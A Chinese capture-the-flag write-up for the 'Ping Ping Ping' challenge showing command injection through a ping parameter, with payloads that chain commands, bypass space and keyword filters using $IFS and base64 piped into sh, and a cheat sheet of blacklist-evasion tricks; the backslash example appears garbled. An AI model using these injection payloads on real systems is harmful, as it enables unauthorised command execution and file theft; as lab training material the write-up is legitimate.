[GXYCTF2019]Ping Ping Ping

0x00

打开网页

我们去访问一下/?ip=127.0.0.1,结果得到如下

发现返回的结果这不是执行了ping命令吗,猜测这里存在命令执行,我们继续执行如下payload:

/?ip=127.0.0.1|ifconfig
## |无论第一个命令是否正确执行都将执行下一个命令
## &第一个命令执行失败则不执行第二个命令


果然存在命令执行漏洞,接下来我们运行如下payload:

/?ip=127.0.0.1|ls


我们惊讶的发现了flag.php,直接去访问一下,结果得到了空白网页,我就知道不会这么简单
我们还可以通过命令去获取flag.php里面的内容,执行如下payload:

/?ip=127.0.0.1|cat flag.php


发现空格被过滤了,绕过空格我们可以使用如下payload:

/?ip=127.0.0.1|cat$IFS$1flag.php


结果发现flag关键字也被过滤了,我们可以通过编码的形式去绕过,执行如下payload:

/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash


太坑了bash也被过滤了,那我们可以使用sh,执行如下payload:

/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh


这回没有被过滤,但是什么都没返回,突然想起来flag在flag.php中也许是被当作代码注释了,于是查看网站源码

得到了flag

0x01

这里在普通命令执行的基础上主要考查的是绕过
空格绕过:

${IFS}
- cat${IFS}flag
- cat${IFS}$1flag
- cat$IFS$1flag
重定向符<>
- cat<>flag
- cat<flag
%09(需要php环境)
-cat%09flag

黑名单绕过:

拼接
a=c;b=at;c=fl;d=ag;$a$b $c$d
base64编码
- echo "Y2F0IGZsYWc="|base64 -d|bash
- `echo "Y2F0IGZsYWc="|base64 -d`
单引号、双引号
c""at fl''ag
反斜线
cat flag
$1、$2等和$@
c$1at gh$@twf01.txt

以上所有的绕过方法都是参考如下这位大佬写的文章

https://www.ghtwf01.cn/index.php/archives/273/
原文地址:https://www.cnblogs.com/Wuser/p/13512087.html